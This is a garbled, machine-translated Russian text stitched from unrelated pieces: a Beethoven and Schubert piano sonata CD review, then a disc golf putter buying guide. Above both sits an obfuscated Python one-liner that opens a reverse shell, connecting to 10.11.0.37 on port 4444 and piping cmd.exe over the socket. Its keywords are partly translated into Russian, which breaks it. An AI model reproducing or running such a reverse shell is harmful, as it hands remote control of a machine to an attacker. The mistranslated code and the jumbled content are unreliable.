C:\Python27\python.exe -c «(лямбда __y, __g, __contextlib: [[[[[[[(s.connect((‘10.11.0.37’, 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (лямбда __out: (лямбда __ctx: [__ctx.__enter__(), __ctx.__exit__(Нет, Нет, Нет), __out[0]( lambda: None)][2])(__contextlib.nested(type(‘except’, (), {‘__enter__’: lambda self: None, ‘__exit__’: lambda __self, __exctype, __value, __traceback: __exctype не None и (issubclass(__exctype, KeyboardInterrupt) и [True для __out[0] в [((s.close(), lambda after: after())[1])][0])})(), type(‘try’, (), {‘__enter__’: lambda self: None, ‘__exit__’: lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (лямбда __after: __after()))[1])]][0]})()))) ([Нет]))[1] для p2s_thread.daemon в [(True)]][0] для __g[‘p2s_thread’] в [(threading.Thread(target=p2s, args=[s, p])) ]][0])[1] для s2p_thread. daemon в [(True)]][0] для __g[‘s2p_thread’] в [(threading.Thread(target=s2p, args=[s, p])) ]][0] для __g[‘p’] в [(subprocess.Popen([‘\\windows\\system32\\cmd.exe’], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] для __g[‘ s’] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g[‘p2s’], p2s.__name__ in [(лямбда s, p: (лямбда __l: [(лямбда __after: __y(lambda __this: lambda: (__l[‘s’].send(__l[‘p’].stdout.read(1)), __this())[1] if True else __after())() )(лямбда: нет) для __l[‘s’], __l[‘p’] в [(s, p)]][0])({}), ‘p2s’)]][0] для __g[ ‘s2p’], s2p.__name__ in [(лямбда s, p: (лямбда __l: [(лямбда __after: __y(лямбда __this: лямбда: [(лямбда __after: (__l[‘p’].stdin.write(__l[‘data’]), __after())[1] if (len(__l[‘data’]) > 0) else __after())(лямбда: __this()) для __l[‘data ‘] in [(__l[‘s’].recv(1024))]][0] if True else __after())())(лямбда: нет) для __l[‘s’], __l[‘p’ ] в [(s, p)]][0])({}), ‘s2p’)]][0] для __g[‘os’] в [(__import__(‘os’, __g, __g))] ][0] для __g[‘socket’] в [(__import__(‘socket’, __g, __g))]][0] для __g[‘subprocess’] в [(__import__(‘subprocess’, __g, __g) )]][0] for __g[‘threading’] в [(__import__(‘threading’, __g, __g))]][0])((лямбда f: (лямбда x: x(x))(лямбда y : f(лямбда: y(y)()))), globals(), __import__(‘contextlib’))»

БЕТХОВЕН Фортепианные сонаты Vol.

4 Общество знатоков 4264 [ПШ]: Обзоры классических компакт-дисков

 

оплачено за
реклама




Все Обзоры забытых записей


ТРУБАДИСК

100-й день рождения Мечислава Вайнберга 8 декабря 2019 года.
Ренате Эггбрехт записала все 3 сонаты для скрипки
Все Трубадиск отзывов


ФОГОРН Классика


Брамс Струнные квартеты

Все Фогхорн Отзывы

 


Следите за нами в Твиттере


Редакция
MusicWeb International
Редактор-основатель
Роб Барнетт
Главный редактор
Джон Куинн
Seen & Heard
Почетный редактор
   Билл Кенни
Веб-мастер MusicWeb
Дэвид Баркер
Почтмейстер
Джонатан Вулф
Основатель MusicWeb
   Лен Малленджер

 

Диски для отзыв можно отправить по номеру:
Джонатан Вульф
76 Лушес Роуд
Лоутон
Эссекс IG10 3QB
Соединенное Королевство

[email protected] co.uk


 

В качестве альтернативы
AmazonСША

Людвиг ван БЕТХОВЕН (1770-1827)
Сонаты для фортепиано — Том 4
Соната для фортепиано No.28 в А, соч. 101 (1816) [21.03]
Соната для фортепиано № 29 in B b , соч. 106 Хаммерклавир (1817 г.) [42.03]
Соната для фортепиано № 30 ми-бемоль, соч. 109 (1820) [18,52]
Соната для фортепиано № 31 in A b , соч. 110 (1821) [18.32]
Соната для фортепиано № 32 до мажор, соч. 111 (1822) [23.52]
Франц Петер ШУБЕРТ (1797-1828)
Соната для фортепиано in B b , D.960 [33.13]
Дэвид Аллен Вер (фортепиано Yamaha CF111S).
Фортепианные техники: Фрэнк Диллингем (соч. 106), Макс Мичимото (опц. 110, 111; D.960), Казуя Цудзио (опц. 101, 109).
Записано в The Music Hall, Тэрритаун, Нью-Йорк, США, 18 лет. май 1998 г., 6-7 июля 2002 г.; (Op 106?) Первая пресвитерианская церковь, Ютика, Нью-Йорк, США, 14 июля 2004 г.
. Записано с частотой 96 кГц и уменьшено для компакт-диска с использованием Sony. нойзшейпинг Super Bit Mapping.
Заметки художника на английском языке. Продюсер звукозаписи, Э. Алан Серебряный.
ОБЩЕСТВО ЗНАТОКОВ CD4264(2) [79,22 + 78.12]


Сравнение записи :
Бетховен средние сонаты, Дэвид Аллен Вер, знаток Общество 4262/3 (см. обзор)
Бетховен Полные сонаты, Артур Шнабель, разные выпуски
Сонаты №29-32: Даниэль Баренбойм. ДГ 413 766-2
Соната № 29: Эдит Фогель Музыкальный журнал BBC, компакт-диск V. II № 7
Сонаты №№ 30-32: Моно LP Жоржа Солчани Анхеля; Гленн Гулд Сони [моно ДОБАВИТЬ] M3K 39036; Пауль Бадура-Шкода, 1824 г. Графический фортепиано. Астре AS 909
Шуберт D.960: Вильгельм Кемпф [ДОБАВИТЬ] DGG 423 496-2; Артур Шнабель, различные вопросы; Лео Надельманн Аппиан, 7026 апреля

Эти сонаты, пожалуй, величайшие произведения Бетховена. произведения и среди лучших и наиболее влиятельных фортепианных композиций когда-либо производился.Как и при прослушивании Parsifal , один слышит на протяжении Hammerklavier немного здесь и там это превратилось во многие, если не в большинство амбициозных фортепианные композиции, написанные с. Я иногда высмеивал банальность и легкость некоторых бетховенов ранних и средний период делает попытки темы-и-вариации, но в этих последние работы, созданные в последнее десятилетие его жизни, он достиг высшее, возвышенное, совершенно индивидуальное владение формой. Возможно, еще более примечательно то, что после целой жизни, исполнение Баха Хорошо темперированный клавир , Бетховен достиг уникального мастерства в форме фуги и написал группа совершенно индивидуальных шедевров, совершенно непохожих друг на друга любой из моделей, предоставленных его учителем.

Дух пианиста Артура Шнабеля витает над эти записи.Он сделал первые записи полного Сонаты Бетховена на 78-е годы в тридцатых годах и на протяжении многих десятилетий после этого для большинства людей любое обсуждение сонаты Бетховена записи начинались и заканчивались упоминанием его имени. Шнабель обладал удивительной способностью проецировать свои весьма значительные музыкальный интеллект и зрелищность с помощью фортепиано клавиатура. Записи все еще печатаются и легко доступны; многие скажут, что первый шаг к знакомству с Сонаты Бетховена следует приобретать в записях Шнабеля. Я слышал их, я восхищаюсь ими, я наслаждался ими и думаю, предыдущее утверждение вполне разумно. Тем не менее, У меня нет записей Шнабеля, и я не слушаю их.

Причина в том, что концертный рояль живое дышащее животное; Я был в маленькой комнате с огромный концертный рояль с кем-то, кто действительно знает, что он сидит за клавиатурой, и эффект почти пугающий своей непреодолимой силой. Старые фортепианные записи подобны прослушиванию через закрытую дверь; я хочу эту дверь открытым.Я бы предпочел послушать Дэвида Аллена Вера вживую, чем слушать к Шнабелю через закрытую дверь. Мы не должны забывать, что пианисты тоже слушают Шнабеля и учатся у него. В 1930 г. никто другой не мог сделать то, что сделал Шнабель; в эти дни, это не правда. Я подозреваю, что многие современные художники скажут вам, что они взяли все, что хотели от Шнабеля, а потом добавили свои видение того.

Поскольку запись Hammerklavier имеет более сухая акустика, чем другие записи, тем лучше для уточнения текстур в фуге предполагаю что это было записаны в Ютике в 2004 году. Остальные сонаты имеют более живая акустика, и я предполагаю, что они были записаны во время предыдущих сессий в Тэрритауне.Один из результатов заключается в том, что записи финальных сонат Wehrs часто мягче по текстуре, чем некоторые другие. Каждый слышит истории о том, как Бетховен уничтожал пианино, стуча по ним, и некоторые пианисты берут на себя обязательство делать то же самое на Steinway или Yamaha, но они забывают кое-что. Современное пианино, если с ним обращаться бережно, может издавать гораздо больше шума. чем фортепиано Graf 1824 года, так что нет необходимости пытаться вытолкнуть его за пределы макс.Также получить максимальный звук хорошего фортепиано делается не силой, а хитростью. Даже очень внезапные и громкие ноты Бетховена имеют гармоническое содержание. и следует убедиться, что каким бы мощным ни было атаки, все ноты должны быть слышны. Как Бадура-Шкодас записи шоу, настоящее пианино Бетховена было слаще и более похожи на арфу, чем большинство современных фортепиано, более разнообразны по тональности от регистрации к регистрации. Как показывает Дэвид Аллен Вер, можно быть сильно драматичным и при этом заставлять каждого звучат как можно красивее, а акустика чуть богаче этих записей помогает ему в этом.

Свидетельством его качества является то, что все университета и публичных библиотек в моем районе есть Эдит Производительность Vogel Hammerklavier в их коллекциях, даже если у них могут быть и другие.Она играет первую два движения с высокой энергией и дает нам потрясающе эффективное выполнение медленного движения в качестве расширенного (почти 24 минуты!) Панихида*. бороться во время фуги, но, в конце концов, побеждает, если только едва. Дэвид Аллен Вер играет adagio sostenuto с больше богатства и разнообразия, иногда простирающегося на территорию Шопена(!) но это во время исполнения им фуги что мы достигаем вершины всего этого набора. Верс производительность совершенно поразительно, достаточно, чтобы Гленн Гулд повернулся позеленевший от зависти. Каждая нота на месте, каждая строчка идеально понятно, общая логика и размах музыки на высоте очерченный. Я никогда не слышал так мастерски фугу Бетховена. представлены; услышав этот спектакль, я послушал каждая запись струнного квартета Grosse Fuge у меня есть Соч.133 и обнаружил, что, хотя я и слушал к этой работе в течение пятидесяти лет, я наслаждался и понимал ее как никогда прежде, и отчетливо слышал, кто еще схватывает а кто нет. Дэвид Аллен Вер кое-чему меня научил ценное и важное о Бетховене.

Также важно прокомментировать качество записи, которая сделала всю эту удивительную музыкальность слышно. Как я уже сказал, я хочу, чтобы между мной и пианино. Эти компакт-диски почти неотличимы по четкости и мощь фортепианных записей SACD из моей коллекции. Много пианисты не осмелились бы позволить себя так записывать четко; их техника не выдержала бы такого уровня экспертизы. Пианизм Дэвида Аллена Вера сияет насквозь эта ясность.Вы можете слушать так внимательно, как хотите, на наличие дефектов и ты не услышишь ни одного, ты услышишь только Бетховена в совершенстве Бетховен.

Последние три сонаты, соч. 109-111, написано в течение трех лет с 1820 по 1822 г., часто рассматриваются как единое целое и запрограммированы вместе, как если бы они образовали единую гигантскую часовую сонату в девяти частях**.Выпуск Wehrs уникален тем, что они не ставятся на диски по очереди. Они не только на разных дисках, но и Между ними помещается Соната № 28. Итак, что бы мистер Вер ни думает, продюсер явно видит их отдельными, отдельные работы, и я тоже.

Вер делает открытие vivace соч. 109 в огромное крещендо; prestissimo бодрый, но Вер не торопится.Варианты являются еще одна высокая точка производительности в этом наборе, удивительно красив и достиг грациозности, подобной Шопену, заметное достижение для Бетховена, поздно или рано. Вер играет с каждым битом, как много контроля и чутья, как у Гленна Гулда, но с меньшим отношением и больше ласки. Соч. 110 дает нам три ярко выраженных индивидуальных движения в сонатной форме.Причудливые ритмические акценты вопрос-ответ allegro molto никогда не было так убедительно изложено. Очень жуткий adagio ma non troppo , за которым следует, вероятно, очень бетховенский лучшая фуга. Твёрдый бас в этой фуге, вероятно, самый громкий звук во всем этом наборе, но все равно красивый; изысканная кристалличность перевернутой записи делает сильный контраст.Даже Бах был бы впечатлен. Открытие maestoso Соч. 111 может быть наброском для симфонической первой части. Вер придает вступительным аккордам гайднесовский характер, а последующее allegro напоминает нам барочную увертюру форму. Но каноническая экспозиция никогда не становится фугой, как Бетховен. изо всех сил пытается куда-то пойти с ним и, наконец, сдается, довольный для создания прекрасного вступительного сонатного движения с открытым концом.С участием первые ноты последующего adagio molto semplice e cantabile дело проясняется. Триумфально закончить от идей в первой части потребовалась бы молодежь, и в этом его последнем фортепианном сочинении набор вариаций в поисках темы Бетховен упивается содержательной перспективой старости, оглядываясь назад на более простые более прямая работа его более ранних композиций.Это соната, в двух частях, неоконченных? Нет, 24 минуты длиннее чем любой из двух предыдущих, и с таким сильным чувством о начале и завершении больше ничего не нужно говорить.

Соната № 28 не относится к поздним сонатам, шутливый, театральный, временами почти юмористический тон, короткими рефлекторными медленными движениями.Бетховен, как и Лист, написал часть своей самой глубокой музыки в маршевом темпе. Верс блестящая проекция сложных ритмов этого самого серьезный механизм alla marcia сохраняет светлый тон и полна сюрпризов. Но эта работа слишком глубоко прочувствована, чтобы быть сонатой среднего периода и должна стоять как клей, который связывает среднее с поздним.И снова у нас чудесный реализм, мощь и прозрачность в басовом регистре.

Другой дух витает над записями Бетховена сонаты наших поколений: Даниэль Баренбойм. Он начал запись сонат в Нью-Йорке для Westminster Records в конце 1950-х годов и произвел не менее четырех полных наборы, два на ЭМИ и два на ДГ, последний на видео.Хотя эти записи вызывают всеобщее восхищение, у него есть и недоброжелатели. и никогда не выигрывал ни критического, ни популярного чувства владения работает. Его последний набор в видео, из которых я только видел около часа, транслируемого по общественному телевидению США, выиграл всеобщее признание, с которым я согласен; я жду возможности увидеть и услышать весь набор. Единственный полный Баренбойм запись, к которой у меня есть доступ, это DG 1984 года, и хотя Я очень восхищаюсь выступлениями среднего и раннего сонаты из этого набора, поздние сонаты, по сравнению с Давидом Аллен Вер, лишенные драматического напряжения, кажутся преднамеренными и относительно незавершенный.

Выступления Гленна Гулда бессвязны, эксцентричны, застенчивый, неуважительный, забывший, что это Бетховен изобрел Шумана, а не наоборот. В его заметках Гулд описывает эти сонаты как… краткие, но идиллические остановка в маршруте бесстрашного путешественника … Нет, Я так не думаю. Плохой монофонический звук — еще одна проблема, хотя записи очень близкие и четкие.Инженеры CBS Masterworks так и не понял, как записать Гулда, сохранив при этом его подпевки с кассеты; лучше бы им не было пытаться.

Хотя он был гробоносцем у стариков похороны и похоронен рядом с ним, это вызывает споры относительно действительно ли Шуберт когда-либо встречался с Бетховеном. Только что а также — они бы невзлюбили друг друга.В современном времена, когда Вильгельм Кемпф и Артур Шнабель зарекомендовали себя с записями произведений обоих мужчин, но не в равной степени ну, значит, Дэвид Аллен Вер в хорошей компании, если я скажу, что его Шуберт не совсем соответствует своему Бетховену. В его В молодости Кемпф был выдающимся интерпретатором Бетховена среднего периода, но в более поздних работах его рефлексивный подход не уместен для каждого движения.Но на мой вкус Кемпф лучший Переводчик Шуберта, которого я когда-либо слышал — вживую он был лучше, чем на записи — единственный в своей способности выявить мистическое глубина, стремление к трансцендентности, найденное в фортепиано работает. Шуберт передал Шопену лишь малую толику этого чувство и умение Шопена чередовать его с красочным экстраверсия породила его отличительный стиль и предвосхитила Чайковский.В симфониях Шуберта преображение было достигнуто и тоска исполнена, но рояль работает, даже самые почти триумфальные, более интимные и неуверенные. Подход Шнабеля, как всегда, подход шоумена; Надельманн более успешен, чем Шнабель, в том, что пытался сделать Шнабель. — и имеет преимущество блестящего современного звука. Вер Бетховениз работы немного, не так много, как Шнабель, и поражает срединная позиция ученых стилистически.Его чистый прямой производительность, и, для приведения всех разрозненных влияний в работе в оптимальном балансе, может быть ваша любимая версия. После неоднократных прослушиваний он может оказаться и моим фаворитом.

Я не слышал первый том в этом наборе, ранние сонаты Бетховена, но я думаю, что могу с уверенностью сказать что этот набор будет одним из лучших на диске.Знаток Общество зародилось много лет назад, как и множество мелких лейблов, запись необычной музыки с необычными исполнителями, но с выпуск этого набора Бетховена завершает каталог который содержит превосходный Art of the Fugue , в равной степени замечательный хорошо темперированный клавир и широко известный набор Моцарт Клавиатура Сонаты (которые я не слышал) с Элизабет Рич.Общество знатоков уже нельзя считать специализированным лейблом, и его звучание стандарты превышают все, кроме самой вершины мейджор-лейбла постановки. Имя Э. Алан Сильвер всегда вызывало в воображении с и магия продолжает творить чудеса.

*Технически производительность омрачена но постоянный гул и иногда очень далекое железнодорожное движение шум, но в остальном очень четкий и реалистичный.

** Восемь экспромтов Шуберта также часто считается, что они образуют два, а иногда даже один большой соната. Но можно ли взять последние три сонаты Бетховена? как сборник из девяти фортепианных пьес? Ни за что, они опираются друг на друга слишком идеально.

Пол Сапожник

 

Лучшая клюшка для диск-гольфа — клюшки для диск-гольфа

Обновлено 08. 01.2021
Большинство игроков в диск-гольф имеют твердое мнение о лучшей клюшке для диск-гольфа.В настоящее время доступны буквально сотни клюшек для диск-гольфа, поэтому может быть трудно определить, какая клюшка лучше. Ниже вы найдете список рекомендуемых нами лучших клюшек для диск-гольфа, которые помогут вам начать игру.

Вот оглавление, которое поможет вам ориентироваться в этом списке лучших клюшек для диск-гольфа:

Dynamic Discs Judge — самая популярная клюшка в диск-гольфе и считается лучшей универсальной клюшкой для диск-гольфа. Судья популярен, потому что он управляем и универсален, а также удобен в руке.Судья — это клюшка с высоким скольжением с небольшим поворотом, плоской вершиной и бортиком. Судья может справиться с жесткими бросками, когда он поворачивается дольше и затухает прямо, или с мягкими бросками, когда он движется прямо, за которым следует надежное затухание.

См. наш полный обзор Dynamic Discs Judge здесь.

The Judge изначально был смоделирован по образцу Gateway Wizard, который также является одним из самых популярных клюшек для диск-гольфа. Волшебник более стабилен, чем Судья, и немного быстрее. У Волшебника такая же форма носа, что и у Судьи.

См. наш полный обзор Мастера шлюза здесь.

Как Dynamic Discs Judge, так и Gateway Wizard выделяются как лучшие универсальные клюшки для диск-гольфа, доступные на сегодняшний день, и являются одними из самых популярных клюшек среди профессиональных игроков в диск-гольф. Судья и волшебник также изготавливаются из различных пластиков, которые могут изменить полет и характеристики, чтобы удовлетворить игроков всех типов диск-гольфа.

Из чего состоит хорошая клюшка для диск-гольфа?

Лучшая клюшка для вас будет удобна в руке, легко снимается и перемещается по желаемой траектории клюшки.Постоянство также является чрезвычайно важной характеристикой вашей клюшки для диск-гольфа. Твердая клюшка позволит вам плавно выпускать мяч и последовательно наносить удары как внутри круга, так и дальше в зону подхода.

Некоторые игроки в диск-гольф используют клюшки исключительно для паттинга и коротких ударов, в то время как другие забрасывают свои клюшки на большие расстояния. При выборе клюшки важно учитывать, как вы будете ее использовать. Вы можете использовать универсальную клюшку как для паттинга, так и для метания, или вы можете носить с собой паттер и метательную клюшку.Мы рекомендуем начать с одной универсальной формы для клюшек, такой как Judge, чтобы вы могли хорошо изучить ее и добавлять дополнительные клюшки по мере необходимости. Нет ничего плохого в том, чтобы носить с собой только одну клюшку или четыре клюшки, если вы хорошо их знаете. Не забывайте, что вы можете получить одну и ту же клюшку из другого пластика, и это может изменить то, как она летает.

У нас есть полный список лучших клюшек для диск-гольфа для начинающих!

Исследование — отличный способ решить, какие клюшки нужно протестировать, но вам все равно нужно проверить их на поле.Каждый диск летит по-разному для каждого диск-гольфиста. Производительность клюшки зависит от многих факторов, таких как ваш стиль, опыт и даже то, как вы держите диск. Для получения дополнительных сведений о том, как клюшки летят при броске, вы можете использовать нашу ссылку на инструмент диаграммы полета ниже.

Здесь вы можете увидеть наш комплексный инструмент для диск-гольфа.

Популярные клюшки для диск-гольфа

Многие игроки в диск-гольф утверждают, что все клюшки являются просто клонами Innova Aviar. Aviar часто считают оригинальной клюшкой для диск-гольфа, и это отличная универсальная клюшка, которую легко заменить в случае потери или износа.Тем не менее, каждая клюшка имеет разные характеристики, которые становятся более очевидными, чем дальше вы бьете. Некоторые ситуации в диск-гольфе могут значительно выиграть от различных характеристик клюшки. Мы всегда рекомендуем тестировать несколько клюшек из разных типов пластика. Вот наши рекомендации по лучшим клюшкам для различных целей:

Лучшая универсальная клюшка для диск-гольфа

Если вы читали разделы выше, значит, вы уже знаете, что мы считаем Dynamic Discs Judge лучшей универсальной клюшкой для диск-гольфа.В то время как Волшебник близок, мы считаем, что легкий ход судьи делает его немного более дружелюбным для большинства игроков в диск-гольф. Судья также медленнее, чем Волшебник, что увеличивает контроль в вашей короткой игре. Еще одна клюшка, рассматриваемая в этой категории, — Streamline Pilot, о которой вы узнаете подробнее ниже.

Обзор судей по динамическим дискам | Узнать цену

Лучшая дисковая клюшка для гольфа Альтернативы:

Лучшая клюшка для вождения

Иногда вам нужно бросить клюшку с силой с площадки-ти, но не все клюшки могут выдерживать силу и в то же время обеспечивать работоспособность.Roach устойчив к крутящему моменту, обеспечивает отличное скольжение и прекрасно работает на разных дистанциях. Roach также позволяет вам формировать свой полет больше, чем сверхстабильные клюшки, поэтому мы рекомендуем это как лучшую клюшку для вождения.

Roach доступен во многих пластиковых корпусах, которые дадут вам различные варианты полета. Big Z Roach будет демонстрировать длинный и плавный поворот, который любит затухать вперед, в то время как Titanium Roach не будет поворачиваться так сильно и имеет более жесткое затухание.
Обзор тараканов Discraft -| Узнать цену

Лучшая клюшка для дальних дистанций

Некоторым любителям диск-гольфа нравится бросать клюшки на расстояние, чтобы они могли использовать преимущество низкой скорости для контроля.Wizard — одна из лучших клюшек для диск-гольфа для дальних дистанций, потому что она обладает высоким скольжением и достаточно устойчива, чтобы выдерживать крутящий момент. Он также обеспечивает лишь небольшой поворот на высоких скоростях, что увеличивает расстояние. Wizard можно отпустить под небольшим углом и перевернуть вверх, или его можно отпустить под большим углом для длинного анхайзера. Самое приятное то, что это невероятно последовательно. Обзор мастера шлюза
 | Узнать цену

Лучшие альтернативы дистанционным клюшкам:

  • Westside Crown — у Crown немного больше оборотов
  • Начальник шлюза — Шеф честнее

Лучшая клюшка для толкания

Для толкания требуется более прочная пластина и нейтральная/стабильная клюшка. Мы предлагаем Streamline Pilot как лучшую клюшку для толчка. Pilot удобно лежит в руке и обеспечивает идеальную комбинацию полета и скольжения для толкания.
Обзор пилотного проекта Streamline Discs | Узнать цену

Лучшая клюшка для спин-патта

Спин-паттинг – это самый традиционный стиль игры в диск-гольф, и многие игроки в диск-гольф считают, что прямая и скользящая клюшка дает наибольшую пользу. Мы считаем, что MVP Atom — одна из самых лучших клюшек для вращения.Он отличается низким профилем и малым диаметром с высоким скольжением. Формованная конструкция MVP также предлагает отличную балансировку веса для Atom. Независимо от того, ставите ли вы Atom или бросаете, это один из самых прямых дисков, которые вы найдете в диск-гольфе. Обзор
MVP Atom | Узнать цену

Почетные упоминания в спин-паттинге:

Лучшая клюшка для прыжков

Для толкания прыжка требуется дополнительное расстояние, а клюшка с высоким скольжением помогает не только набирать дистанцию, но и поддерживать форму.Это также помогает иметь клюшку, которая немного исчезает, чтобы помочь в контроле. Мы считаем, что Dynamic Discs Warden — лучшая клюшка для прыжков. Warden обладает удивительным скольжением и будет удерживать длинную и точную линию, прежде чем постепенно, но не резко, исчезнуть. Warden также обеспечивает хорошее ощущение, которое может помочь с плавными выпусками, когда вы усиливаете свой бросок. Warden выпускается из многих пластиков, которые изменяют полет, и нам нравится Fuzion, потому что он показывает небольшой поворот, но Warden из любого пластика — отличная клюшка для прыжков.
Обзор Смотрителя Динамических Дисков | Узнать цену

Лучшая сверхстабильная клюшка

Сверхстабильная клюшка предлагает больше преимуществ, чем прямая клюшка, для приближения к корзине или борьбы с ветром. Dynamic Discs Slammer совсем недавно обогнала Suspect как нашу рекомендацию лучшей сверхстабильной клюшки. Slammer постоянен, может бороться с ветром и отлично подходит для вождения и захода на посадку. К сожалению, Slammer снят с производства, поэтому его может быть трудно найти, и мы скоро обновим этот список лучших сверхстабильных клюшек.Обзор
Dynamic Discs Slammer | Узнать цену

Лучшая нестабильная клюшка

Нестабильная клюшка позволяет выполнять более легкий бросок из этих ненадежных положений. Часто нестабильные клюшки непостоянны и сильно ныряют, но Swan — это мягкая клюшка, подходящая для многих стилей бросков. По этой причине мы выбрали Westside Discs Swan 1 Reborn как лучшую неустойчивую клюшку для диск-гольфа. Лебедь — это низкопрофильная клюшка без борта, обеспечивающая очень плавный выброс, что способствует стабильности.Его доступность в нескольких видах пластика повысила его позицию в нашем списке.
Westside Discs Swan 1 Reborn Обзор | Узнать цену

Почетные упоминания Understable Putter:

  • Prodigy PA4 – PA4 более высокого профиля
  • Gateway Magic — Магия медленнее

Лучшая клюшка с низким скольжением

Клюшка с низким скольжением помогает уменьшить уплывание клюшки, что повышает стабильность. Kastaplast Berg — наш выбор лучшей клюшки с низким скольжением. Это клюшка с очень низким скольжением, которая выдерживает мощные броски или легкие броски и безопасно падает после смертельного прямого полета.Поначалу Berg очень сверхстабильный, но становится прямым с последовательным затуханием по мере разгона. У Berg одна из самых заметных вершин лужи среди всех дисков и чрезвычайно тупой нос. Kastaplast предлагает Berg из нескольких пластиков, чтобы преуспеть в любых условиях.
Кастапласт Берг Обзор | Узнать цену

Паттер с низким скольжением Почетное упоминание:

Лучшая клюшка с высоким скольжением

Клюшка с высоким скольжением помогает добраться до корзины с меньшей силой, что позволяет вам сосредоточиться на своей форме.Latitude 64 Pure — наша любимая клюшка с высоким скольжением. Это низкопрофильная прямая клюшка с бортиком и плавным выпуском. Pure может быть самой скользкой клюшкой, которую мы когда-либо бросали, и она чрезвычайно работоспособна. Он может выдерживать больший крутящий момент, чем большинство устойчивых клюшек с высоким скольжением, и может использоваться по-разному. Pure также известен своей способностью к повороту на широчайшие, траекторию полета, которую может быть трудно найти в диск-гольфе.
Latitude 64 Pure Обзор | Узнать цену

Паттер с высоким скольжением Почетное упоминание:

Лучшая клюшка справа

Как правило, вам понадобится низкопрофильная и сверхстабильная клюшка для ударов справа.Стабилизатор от Streamline Discs — это отличный вариант клюшки для удара справа, который удобно лежит в руке и выдерживает большой крутящий момент. Стабилизатор будет удерживать относительно длинную и прямую линию, прежде чем сильно исчезнет, ​​но у него достаточно скольжения, чтобы он оставался работоспособным. Стабилизатор также изготавливается из нескольких пластиков.

Узнать цену

Альтернативы форхенд-паттеру

Лучшая зимняя клюшка

Надземная клюшка Manzanita — сверхстабильная клюшка с умеренным скольжением.И низкое скольжение, и повышенная устойчивость добавляют устойчивости при холодных зимних ветрах. Manzanita может выдерживать большую мощность, не переворачиваясь, и может работать под любым углом. Он также оснащен упором для большого пальца, который может улучшить сцепление в холодных и влажных условиях. Ободок без бортов обеспечивает плавный выпуск.
AGL Manzanita Обзор | Узнать цену

Зимняя клюшка Почетное упоминание:

Лучшая клюшка для диск-гольфа для детей

Это сложная, но очень важная категория, тем более, что мы любим, когда дети вовлекаются в игру.Это также сложно, потому что это действительно зависит от возраста и спортивной подготовки ребенка.

Для детей младшего возраста Dynamic Discs производит специальную клюшку Gavel для детей. Он имеет легкий вес и с ним легко обращаться для небольших рук.

Для подростков вам, вероятно, все же захочется изучить неустойчивые клюшки. MVP Spin — отличный вариант как для паттинга, так и для более молодых игроков.

Заинтересованы в улучшении вашего паттинга? Ознакомьтесь с нашими советами по броскам в диск-гольф!

Лучшие клюшки по производителю

Некоторые любители диск-гольфа предпочитают носить с собой диски одного производителя, а не пакет из смешанного пластика.Некоторые игроки в диск-гольф (например, мы) просто обожают тестировать новые бренды и становятся знатоками дисков для диск-гольфа. Это наш лучший выбор лучших клюшек для диск-гольфа от каждого производителя диск-гольфа (описания будут добавлены в ближайшее время, поэтому регулярно проверяйте их).

  • Аксиома
  • Сорвиголова
  • ДГА
  • Дискомания
  • Дискафт
  • Динамические диски
  • Шлюз
  • Иннова
  • Кастапласт
  • Широта 64
  • Миллениум
  • Лучший игрок
  • Диски
  • об/мин
  • Вундеркинд
  • Стримлайн
  • Вибрам
  • Вестсайдские диски

Не забудьте подписаться на DG Puttheads в социальных сетях s , чтобы никогда не пропускать посты и не пропускать другой отличный контент!

 

Отказ от ответственности: мы связаны с Infinitediscs.